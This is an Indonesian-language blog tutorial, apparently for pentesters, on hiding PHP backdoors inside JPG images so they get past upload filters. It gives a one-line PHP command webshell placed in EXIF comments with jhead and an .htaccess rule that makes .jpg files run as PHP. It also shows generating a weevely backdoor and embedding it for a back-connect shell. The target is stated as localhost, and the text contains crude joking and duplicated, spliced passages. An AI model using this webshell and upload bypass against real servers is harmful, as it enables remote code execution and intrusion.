Sering para pentester aplikasi web mengalami kesulitan pada saat melakukan injection yaitu saat memasukan backdoor melalui form-form, entah pada saat di dalam admin page atau pada form-form upload lainnya karena adanya filter yang hanya mengallowed file tertentu untuk di upload ke dalam server target. Yang di allowed dengan filterisasi ekstensi , biasanya hanya tipe-tipe file murni image antara lain .jpg. Sedangkan rata2 backdoor adalah berekstensi PHP. Yang jadi persoalan adalah Bagaimana kita bisa membuat file jpg ( gambar ) namun memiliki abiliti ( kemampuan ) menyimpan dan mengesekusi php script.
ok langsung saja … pertama kita cari dulu file gambar .. ( extensi jpg, png ) hmm mbah google ajah.. ane cari gambar dengan keyword “perek” kwwkkwkw ternyata ane langsung memilih gambar yang lumayan seksi nih… biar sekalian ahhh hihihihih…
Ok .. ini spesifikasi percobaanok langsung saja … pertama kita cari dulu file gambar .. ( extensi jpg, png ) hmm mbah google ajah.. ane cari gambar dengan keyword “perek” kwwkkwkw ternyata ane langsung memilih gambar yang lumayan seksi nih… biar sekalian ahhh hihihihih…
1. Os yang ane gunakan : backtrack 5 R1 KDE 32 bit
2. kernel : root@eichel:~# uname -a | Linux eichel 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
3. Target : localhost ( 127.0.0.1 )
4. Webserv : apache2
2. kernel : root@eichel:~# uname -a | Linux eichel 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
3. Target : localhost ( 127.0.0.1 )
4. Webserv : apache2
#note-1 :
Target ane ini hanya ke localhost ane saja … coz ini hanya sebagai contoh percobaan ..and ane bukan depeser yang nyari2 celah sana-sini ( keenakan ntar pentest gratis ).
Target ane ini hanya ke localhost ane saja … coz ini hanya sebagai contoh percobaan ..and ane bukan depeser yang nyari2 celah sana-sini ( keenakan ntar pentest gratis ).
Yang di butuhkan
1. jhead ( install dengan melakukan apt-get install jhead )
2. curl ( sudah terinstall di backtrack 5 )
3. weevely.py ( sama sudah ada juga,.. huhauhua viva backtrackers ! )
Ok sekarang kita coba lakukan percobaan …1. jhead ( install dengan melakukan apt-get install jhead )
2. curl ( sudah terinstall di backtrack 5 )
3. weevely.py ( sama sudah ada juga,.. huhauhua viva backtrackers ! )
1. Menyisipkan cmd backdoor php dalam file jpg
Ok sebagai percontohan percobaan ane coba menyisipkan php script pada file yang tadi sudah ane download sembarang dari google, “perek.jpg“, kita gunakan jhead. Kita periksa dulu mending file tersebut jgn2 sudah ada script atau comment.
<?php passthru($_POST['cmd']); __halt_compiler();
.Terus ada baiknya cek kembali dengan “jhead”
Ok gambar tadi ( perek.jpg) yang telah di masukan script php tadi saya masukan kedalam localhost di /var/www ,hmm yaitu didalam folder tesbd…
root@eichel:~# mkdir /var/www/tesbdAne buat file .httaccess pada direktori tesbd agar bisa “perek.jpg” diesekusi curl …Intinya sebenarnya hanya agar percobaan ini bisa sukses dengan mudah, jadi file httaccess akan mengallowed pemanggilan fungsi php tanpa harus memakai ekstensi php.
root@eichel:~# mv perek.jpg /var/www/tesbd/
root@eichel:~# cd /var/www/tesbd/
root@eichel:/var/www/tesbd# echo "AddType application/x-httpd-php .jpg" >> .htaccess
Perhatikan untuk contoh kasus script yang ane masukin ini hanya berlaku kalau modul mime pada apache2 dalam keadaan aktif. dan minimal pada direktori tersetting AllowOverride FileInfo
2. Backdoor akses
Ok kemudian ane coba akses dengan “curl” .. sukses ..
3. Back-connection
Hal ini bisa dikembangkan sampai kita mendapatkan akses backconnect shell pada mesin target. Ok untuk taraf ini saya pakai weevely.py. tool ini dapat kita temukan pada direktori pentest pada backtrack 5root@eichel:/pentest/backdoors/web/weevely#Ok kita buat backdoor dengan weevely.py .. syntaxnya
weevely generate <password> <output_path>jadi ane buat backdoor dengan nama lohan.php serta password = admin
root@eichel:~# cp perek.jpg perek1.jpg
root@eichel:~# kwrite /pentest/backdoors/web/weevely/lohan.php
root@eichel:~# jhead -purejpg perek1.jpg
Modified: perek1.jpg
root@eichel:~# jhead -ce perek1.jpg
Modified: perek1.jpg
Nah dengan menggunakan jhead ane berhasil memasukan isi script dari lohan.php ( hasil dari autogenerate weevely.py ) ke dalam file gambar baru yaitu perek1.jpg. Kemudian file perek1.jpg saya coba upload ke dalam localhost. Nah kembali lagi ke direktory weevely.py lalu mengakses file perek1.jpg .. dengan catatan file perek1.jpg sudah berada di dalam localhost
Kita buka file php yang telah kita inject sciript php… hmmm tampaknya masih seperti file jpg biasa saja
viva la backtrack